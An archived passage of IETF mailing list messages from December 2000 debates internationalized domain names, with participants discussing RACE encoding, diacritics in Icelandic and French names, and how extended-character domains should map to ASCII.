existing Icelandic ice cream vendor: http://www.kjoris.is/ Now I risk discomfort for the anti-social act of attaching a 4K gif. Its tiny, sorry to inconvenience you if either you hate attachments via email reflectors, or if it's blocked. It's a slightly stylized logo for these ice cream guys in Icelandic. This is my pieced together version of their logo including diacritical marks unfamiliar to me. The closest I can get with a French Canadian setup under a Microsoft OS is: Kj=F6r=EDs Fine. as a matter of principle I try it now: http://www.Kj=F6r=EDs.is/ And just to be sure: http://Kj=F6r=EDs.is/ Both don't find this in the DNS, I get: "The page you are looking for is currently unavailable. The Web site might be experiencing technical difficulties, or you may need to adjust your browser settings." as the human readable for this. I think that this should work. Do you think the marketing manager agrees? I will *more* than bet they do; (I will Email them and ask). Did you notice the period above the lower case i is an accent? Ok. Since I was looking at a stylized logo, I wasn't sure how to code the diacritical mark over the i. If you decide to leap upon me as a total moron; (as per reason 2 above), I say; "Apparently your Icelandic is better than mine", next time we meet let's conduct 100% of the session in ASL [AKA sign language] with my apologies"). Point being; we all know bits of other languages; but no one knows all of all the other languages! While seeking the program at Verisign to remap the above, I thought the URL for the ICANN announcement might be useful to revisit. It is: http://www.icann.org/announcements/icann-pr03nov00.htm The conversion tool lives at: http://mct.verisign-grs.com/ So entering the existing URL gets us: Input String Utf-8 www.kjoris.is=20 Prepared String Utf-8 www.kjoris.is=20 Registration String RACE www.kjoris.is=20 and the carefully guessed at one: Input String Utf-8 www.Kj=F6r=EDs.is=20 Prepared String Utf-8 www.kj=F6r=EDs.is=20 Registration String RACE www.bq--abvwv5ts5vzq.is=20 So, depending on how the protocol is implemented, I could get: "The requested URL could not be retrieved While trying to retrieve the URL: http://www.bq--abvwv5ts5vzq.is The following error was encountered:=20 Invalid URL " Hmmm, maybe I should just ask for help at: postmaster@bq--abvwv5ts5vzq.is via email! {Sorry} So further; Dan2) Languages substantially distant from the Utf-8 "prehistory before the 21st century" use the RACE mapping. Revisiting the ICANN Announcement at: http://www.icann.org/announcements/icann-pr03nov00.htm "For several months, a working group of the Internet Engineering Task Force (IETF) has been working to develop a standard specifying the requirements for internationalized access to domain names. This standard, when it is completed, will extend the operation of the Internet's Domain Name System (DNS) to character sets other than ASCII (the only character set currently supported) such as Arabic, Chinese, Japanese, Korean, Portuguese, the Scandinavian languages, and Spanish. Several experimental testbeds are in operation or have been announced. These testbeds are testing a variety of approaches under consideration by the IETF working group, but are part of a common commitment to converge on whatever standard solution is ultimately adopted. These developments, which could bring very significant changes to the way the DNS can be used, have attracted remarkably little public notice." So two things occur to me; (Last thing first). "Remarkably little notice", is an understatement to say the least. Everyone with whom I discuss Internet knows about adding new TLD domain names. Not one seems to understand this initiative. Most respond with: Huh? Why? What's this going to cost domain holders? Looking at this short list of: Arabic, Chinese, Japanese, Korean, Portuguese, and the Scandinavian languages, Spanish. I guess the "Scandinavian languages" didn't warrant breaking any of them out by name, so let's assume this is all phased in over time. Leaving off languages with UTF-8 inclusion that still don't let diacritical marks work is interesting. There is actually low hanging fruit to yield on this initiative before conquering the hard stuff. Anyway: Hangul=3DKorean Partial inclusion list where diacritical marks are carried; (e.g., Unicode, whatever) and boiled down to a best efforts subset: English, Portuguese, Italian, French, German, (these are examples, bear with me). So we could basically write these reductionist rules in a day or two. Since they are known imperfect, they can only be compromises, anyway. Examples: =9C :=3D oe =C6 :=3D AE =C7 :=3D C =DF :=3D B =DD :=3D Y =FD :=3D y Now there are hard choices in all of this. For example, the handling of case in Yugoslavian for "y", "Y", "j", "J", is so dissimilar to other languages you wonder how long it takes the kids to get through second grade over there. So, maybe some simple remapping will bother them. But since all the visual characteristics are completely, totally preserved in my scheme, they only have to care if an URL doesn't resolve. They get a choice between wondering what happened to: http://januara.org Thinking it should be smart enough to try: http://Yanuara.org But the alternative is an error pointing to a RACE encoded DNS bounce: {Actually, the Verisign program returns: "internal error for this!"} =9Fanuara =3D internal error back to my example..... bq--ad6wc3tvmfzgc.org not found in DNS ----------- Partial inclusion list for encoding in RACE form: Chinese, Japanese, Hangul, Arabic, etc The tears of the Comp Sci guy: Now the computer scientist in too many of us howls! Arbitrary! This cannot be! No, actually it isn't and it, paradoxically, does not require knowing, blessing, believing or condemning and particular human printed language. In the total absence of an encoding requiring RACE, there are only two possibilities: 1) its is UTF-8 without modification. 2) The equivalence table as per above applies. So if I decide to have a domain name:=20 dinosaur dunce_hat Tilden Red_spot Double_umlaut_birdseed Omega_psi (dot COM, I mean, we have to make a living here you know). It lands in this big RACE pot and boils up a RACE string and there you go.=20 Sorry again this is so long and even worse, includes an attachment. I also want to say I appreciate the efforts of those designing all this stuff and there is a natural repugnance to having someone outside butt in I can just about feel. However, you're designing something that's supposed to be used by a lot of people who has a vested interest in whether it works, want it to just work, and no interest in how it works. I think its possible to make it look right AND work right. Someone more in daily contact with managing the DNS can perhaps help me on this. Only registrars handing a remapping; (not just RACE) who are the SOA would have to change software... is that right? If that's not the case my suggestion is in the best interests of end users, but hard to do.=20 Complex, yet interesting. Regards, Dan Kolis --=====================_976067897==_ Content-Type: image/gif; name="KJALL.GIF"; x-mac-type="47494666"; x-mac-creator="4A565752" Content-Disposition: attachment; filename="KJALL.GIF" Content-Transfer-Encoding: base64 R0lGODdhyABxAPcAAAAAAAAAQAAAgAAA/wAgAAAgQAAggAAg/wBAAABAQABAgABA/wBgAABgQABg gABg/wCAAACAQACAgACA/wCgAACgQACggACg/wDAAADAQADAgADA/wD/AAD/QAD/gAD//yAAACAA QCAAgCAA/yAgACAgQCAggCAg/yBAACBAQCBAgCBA/yBgACBgQCBggCBg/yCAACCAQCCAgCCA/yCg ACCgQCCggCCg/yDAACDAQCDAgCDA/yD/ACD/QCD/gCD//0AAAEAAQEAAgEAA/0AgAEAgQEAggEAg /0BAAEBAQEBAgEBA/0BgAEBgQEBggEBg/0CAAECAQECAgECA/0CgAECgQECggECg/0DAAEDAQEDA gEDA/0D/AED/QED/gED//2AAAGAAQGAAgGAA/2AgAGAgQGAggGAg/2BAAGBAQGBAgGBA/2BgAGBg QGBggGBg/2CAAGCAQGCAgGCA/2CgAGCgQGCggGCg/2DAAGDAQGDAgGDA/2D/AGD/QGD/gGD//4AA AIAAQIAAgIAA/4AgAIAgQIAggIAg/4BAAIBAQIBAgIBA/4BgAIBgQIBggIBg/4CAAICAQICAgICA /4CgAICgQICggICg/4DAAIDAQIDAgIDA/4D/AID/QID/gID//6AAAKAAQKAAgKAA/6AgAKAgQKAg gKAg/6BAAKBAQKBAgKBA/6BgAKBgQKBggKBg/6CAAKCAQKCAgKCA/6CgAKCgQKCggKCg/6DAAKDA QKDAgKDA/6D/AKD/QKD/gKD//8AAAMAAQMAAgMAA/8AgAMAgQMAggMAg/8BAAMBAQMBAgMBA/8Bg AMBgQMBggMBg/8CAAMCAQMCAgMCA/8CgAMCgQMCggMCg/8DAAMDAQMDAgMDA/8D/AMD/QMD/gMD/ //8AAP8AQP8AgP8A//8gAP8gQP8ggP8g//9AAP9AQP9AgP9A//9gAP9gQP9ggP9g//+AAP+AQP+A gP+A//+gAP+gQP+ggP+g///AAP/AQP/AgP/A////AP//QP//gP///yH5BAAAAAAALAAAAADIAHEA AAj/ADcJHEiwoMGDCBMK3MWwocOHECNKnEix4kOFGDNu+sexo8ePIEOKHNlRo8mTAy2qXMmyJUSU J0nKnEmTI8ybB13q3MkzIk6FNYMKLfkTZ8+jSHcWNTi0Kc2lKJNKnboSqkCnWEdazUi1q9eJULOK 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 --=====================_976067897==_-- From owner-ietf-outbound Tue Dec 5 20:51:05 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA05412 for ietf-outbound.10@ietf.org; Tue, 5 Dec 2000 20:50:02 -0500 (EST) Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA04120 for ; Tue, 5 Dec 2000 20:39:08 -0500 (EST) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA05194 for ; Tue, 5 Dec 2000 17:37:04 -0800 (PST) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <20001206000614117.AAA324@hq.lindsayelec.com@hq.lindsayelec.com> References: <20001206000614117.AAA324@hq.lindsayelec.com@hq.lindsayelec.com> Date: Tue, 5 Dec 2000 17:39:06 -0800 To: ietf@ietf.org From: Paul Hoffman / IMC Subject: Re: Diacritical application in the DNS Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org At 7:06 PM -0500 12/5/00, Dan Kolis wrote: >Now we are getting down to the nuts and bolts No, we're not. This is a long re-hash of unfinished discussions happening in the IDN Working Group. As was requested earlier in this thread, please go read the archives of the IDN WG, and if you have something to say, say it there. The archives and all the drafts are at . --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-outbound Wed Dec 6 04:20:57 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA11984 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 04:20:02 -0500 (EST) Received: from slarti.muc.de (slarti.muc.de [193.149.48.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA10218 for ; Wed, 6 Dec 2000 04:11:46 -0500 (EST) Received: (qmail 10383 invoked by uid 66); 6 Dec 2000 09:16:11 -0000 Received: from faerber by slarti with UUCP; Wed Dec 6 09:16:11 2000 -0000 Received: by faerber.muc.de (GeoZILLA/0.91b (CBM 128D; GEOS 2.5)); 06 Dec 2000 10:07:19 +0100 Date: 05 Dec 2000 15:31:00 +0100 From: claus@faerber.muc.de (=?ISO-8859-1?Q?Claus_F=E4rber?=) To: ietf@ietf.org Message-ID: <7rJRe9zJcDB@faerber.muc.de> In-Reply-To: <4.3.1.2.20001205100654.00b264a0@pop3.mailbox.co.uk> Subject: Re: Example of dns (non) fun X-Mailer: GeoZILLA/0.91b (CBM 128D; GEOS 2.5) X-No-Archive: yes MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org Stephen Dyer schrieb/wrote: > There is also an interesting legal problem lurking with > http://www.deja.fr/ and http://www.bq--aduwvya.fr/ > > A court might find me guilty of trademark violation of "deja" with the > first URL, but I can't see them upholding the same for "bq--aduwvya" A domain name is, technically speaking, a sequence of octets. It is only interpreted as the letters "deja.fr" by some convention or standard. In this case, it's the DNS spec which refers to ASCII. Why should it be different if another standard does not refer to ASCII, but another encoding? Claus -- http://www.faerber.muc.de From owner-ietf-outbound Wed Dec 6 04:30:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA14164 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 04:30:04 -0500 (EST) Received: from slarti.muc.de (slarti.muc.de [193.149.48.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA10217 for ; Wed, 6 Dec 2000 04:11:46 -0500 (EST) Received: (qmail 10377 invoked by uid 66); 6 Dec 2000 09:16:11 -0000 Received: from faerber by slarti with UUCP; Wed Dec 6 09:16:11 2000 -0000 Received: by faerber.muc.de (GeoZILLA/0.91b (CBM 128D; GEOS 2.5)); 06 Dec 2000 10:07:19 +0100 Date: 05 Dec 2000 15:26:00 +0100 From: claus@faerber.muc.de (=?ISO-8859-1?Q?Claus_F=E4rber?=) To: ietf@ietf.org Message-ID: <7rJRdoFocDB@faerber.muc.de> In-Reply-To: <20001204220041184.AAA301@hq.lindsayelec.com@hq.lindsayelec.com> Subject: Re: Example of dns (non) fun X-Mailer: GeoZILLA/0.91b (CBM 128D; GEOS 2.5) X-No-Archive: yes MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Transfer-Encoding: 8bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Dan Kolis schrieb/wrote: > http://www.déjà.fr/ > http://www.deja.fr/ This is really not new at all. Today, we do already have domains that are very similar: foobar.com vs. foo-bar.com vs. foobarr.com vs. ... foobar.com vs. foobár.com is not much different. Claus -- http://www.faerber.muc.de From owner-ietf-outbound Wed Dec 6 04:40:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA17293 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 04:40:02 -0500 (EST) Received: from slarti.muc.de (slarti.muc.de [193.149.48.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA10219 for ; Wed, 6 Dec 2000 04:11:47 -0500 (EST) Received: (qmail 10396 invoked by uid 66); 6 Dec 2000 09:16:12 -0000 Received: from faerber by slarti with UUCP; Wed Dec 6 09:16:12 2000 -0000 Received: by faerber.muc.de (GeoZILLA/0.91b (CBM 128D; GEOS 2.5)); 06 Dec 2000 10:07:19 +0100 Date: 05 Dec 2000 15:37:00 +0100 From: claus@faerber.muc.de (=?ISO-8859-1?Q?Claus_F=E4rber?=) To: ietf@ietf.org Message-ID: <7rJRecyZcDB@faerber.muc.de> In-Reply-To: <5.0.2.1.2.20001203130428.0266d658@shoe.reston.mci.net> Subject: Re: Will Language Wars Balkanize the Web? X-Mailer: GeoZILLA/0.91b (CBM 128D; GEOS 2.5) X-No-Archive: yes MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Transfer-Encoding: 8bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit vint cerf schrieb/wrote: > Incorporating other character sets without deep technical > consideration will risk the inestimable value of interworking across > the Internet. It CAN be done but there is a great deal of work to make > it function properly. How do I type chinese characters? I can't. So I can't write mail to someone whose email address contains non-ASCII characters if I don't already have the address in electronic form (e.g. within a webpage). It's worth nothing that my computer could handle the address if I can't. Claus -- http://www.faerber.muc.de From owner-ietf-outbound Wed Dec 6 05:40:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id FAA00216 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 05:40:02 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA29397 for ; Wed, 6 Dec 2000 05:36:20 -0500 (EST) From: Masataka Ohta Message-Id: <200012061033.TAA16556@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id TAA16556; Wed, 6 Dec 2000 19:32:46 +0859 Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <7rJRecyZcDB@faerber.muc.de> from "[Claus F_rber]" at "Dec 5, 2000 03:37:00 pm" To: "[Claus F_rber]" Date: Wed, 6 Dec 2000 19:32:45 +0859 () CC: ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org Claus; > vint cerf schrieb/wrote: > > Incorporating other character sets without deep technical > > consideration will risk the inestimable value of interworking across > > the Internet. It CAN be done but there is a great deal of work to make > > it function properly. > > How do I type chinese characters? I can't. So I can't write mail to > someone whose email address contains non-ASCII characters if I don't > already have the address in electronic form (e.g. within a webpage). Right. And, if a mailto URL is within a webpage with a chinese character anchor, it does not matter whether a mail address in the URL consists of pure ASCII characters or not. > It's worth nothing that my computer could handle the address if I can't. You properly understand that the current ASCII DNS is already fully internationalized. Masataka Ohta From owner-ietf-outbound Wed Dec 6 08:20:21 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA04264 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 08:20:03 -0500 (EST) Received: from NOD.RESTON.MCI.NET ([166.60.6.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA02753 for ; Wed, 6 Dec 2000 08:12:17 -0500 (EST) Received: from vint.mci.net ([166.60.14.44]) by shoe.reston.mci.net (PMDF V5.2-32 #40475) with ESMTPA id <01JXDL5P1N449LVO0S@shoe.reston.mci.net> for ietf@ietf.org; Wed, 6 Dec 2000 08:12:16 EST Date: Wed, 06 Dec 2000 08:19:14 -0500 From: vint cerf Subject: Re: Will Language Wars Balkanize the Web? In-reply-to: <200012061033.TAA16556@necom830.hpcl.titech.ac.jp> X-Sender: vcerf@shoe.reston.mci.net To: ietf@ietf.org Cc: Masataka Ohta Message-id: <5.0.2.1.2.20001206081537.02475438@shoe.reston.mci.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT References: <7rJRecyZcDB@faerber.muc.de> Content-Transfer-Encoding: 7BIT X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7BIT Mr. Ohta has put his finger on a key point: ability of all parties to generate email addresses, web page URLs and so on. Even if we introduce extended character sets, it seems vital that there be some form of domain name that can be rendered (and entered) as simple IA4 characters to assure continued interworking at the most basic levels. This suggests that there is need for some correspondence between an IA4 Domain Name and any extended characterset counterpart. Vint At 07:32 PM 12/6/2000 +0859, you wrote: >And, if a mailto URL is within a webpage with a chinese character >anchor, it does not matter whether a mail address in the URL >consists of pure ASCII characters or not. > >> It's worth nothing that my computer could handle the address if I can't. > >You properly understand that the current ASCII DNS is already >fully internationalized. From owner-ietf-outbound Wed Dec 6 09:40:30 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA22141 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 09:40:02 -0500 (EST) Received: from zcars04f.ca.nortel.com (h57s242a129n47.user.nortelnetworks.com [47.129.242.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA21524 for ; Wed, 6 Dec 2000 09:37:01 -0500 (EST) Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com; Wed, 6 Dec 2000 09:36:16 -0500 Received: from zcard00f.ca.nortel.com ([47.129.30.8]) by zcard00m.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id YGTL2R9S; Wed, 6 Dec 2000 09:36:02 -0500 Received: from americasm01.nt.com (wcars1zt.ca.nortel.com [47.129.153.181]) by zcard00f.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id YFZD3A2W; Wed, 6 Dec 2000 09:36:04 -0500 Sender: "Abbie Barbir" Message-ID: <3A2E4ED2.3E92225B@americasm01.nt.com> Date: Wed, 06 Dec 2000 09:36:02 -0500 From: "Abbie Barbir" Reply-To: "Abbie Barbir" Organization: Nortel Networks X-Mailer: Mozilla 4.7 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: Garrett Wollman CC: ietf@ietf.org Subject: Re: How many cooks? References: <200012020121.RAA04401@boreas.isi.edu> <200012020243.VAA45236@khavrinen.lcs.mit.edu> Content-Type: multipart/mixed; boundary="------------6B5772C7FE5CE09A3F1420D6" X-Orig: X-Loop: ietf@ietf.org This is a multi-part message in MIME format. --------------6B5772C7FE5CE09A3F1420D6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit what is important here is the quality of work. in the end people will refer to the draft using the first author name with the famous "et al." _____ abbie Garrett Wollman wrote: > < said: > > > Author(s): B. Aboba, P. Calhoun, S. Glass, T. Hiller, > > P. McCann, H. Shiino, G. Zorn, G. Dommety, > > C. Perkins, B. Patil, D. Mitton, S. Manning, > > M. Beadles, P. Walsh, X. Chen, > > S. Sivalingham, A. Hameed, M. Munson, S. Jacobs, > > B. Lim, B. Hirschman, R. Hsu, Y. Xu, > > E. Campbell, S. Baba, E. Jaques > > Is the IETF now competing with scholarly journals in the race for > ``most authors on a single paper''? (No offense intended to the > parties listed above, but you'll pardon me if I get a little > uncomfortable with the idea of a 29-page document having 26 official > authors.) > > -GAWollman > > -- > Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same > wollman@lcs.mit.edu | O Siem / The fires of freedom > Opinions not those of| Dance in the burning flame > MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick --------------6B5772C7FE5CE09A3F1420D6 Content-Type: text/x-vcard; charset=us-ascii; name="abbieb.vcf" Content-Description: Card for Barbir, Abbie [CAR:9N41:EXCH] Content-Disposition: attachment; filename="abbieb.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Barbir, Ph.D.;Abbie x-mozilla-html:FALSE org:Nortel Networks;613 763 5229 adr:;;;;;; version:2.1 email;internet:abbieb@nortelnetworks.com title:Senior Designer x-mozilla-cpt:;0 fn:Abbie Barbir, Ph.D. end:vcard --------------6B5772C7FE5CE09A3F1420D6-- From owner-ietf-outbound Wed Dec 6 10:30:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id KAA29190 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 10:30:03 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA28179 for ; Wed, 6 Dec 2000 10:22:26 -0500 (EST) Received: from hq.lindsayelec.com ([216.129.40.27]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Wed, 6 Dec 2000 10:22:30 -0500 Received: FROM new BY hq.lindsayelec.com ; Wed Dec 06 10:22:29 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Example of dns (non) fun iv Date: Wed, 6 Dec 2000 10:22:30 -0500 Message-ID: <20001206152230359.AAA324@hq.lindsayelec.com@hq.lindsayelec.com> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA28179 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Claus said: >> http://www.déjà.fr/ >> http://www.deja.fr/ >This is really not new at all. Today, we do already have domains that >are very similar: foobar.com vs. foo-bar.com vs. foobarr.com vs. ... >foobar.com vs. foobár.com is not much different. >Claus Dan K says: 1) your right. with your tld .de I assume for the moment you also speak German. The difference is what you 'try' when a url doesn't work. If you tried: http://ßrehct.de and it didn't work you would probably try: http://brehct.de The difference is whether you think the lack of 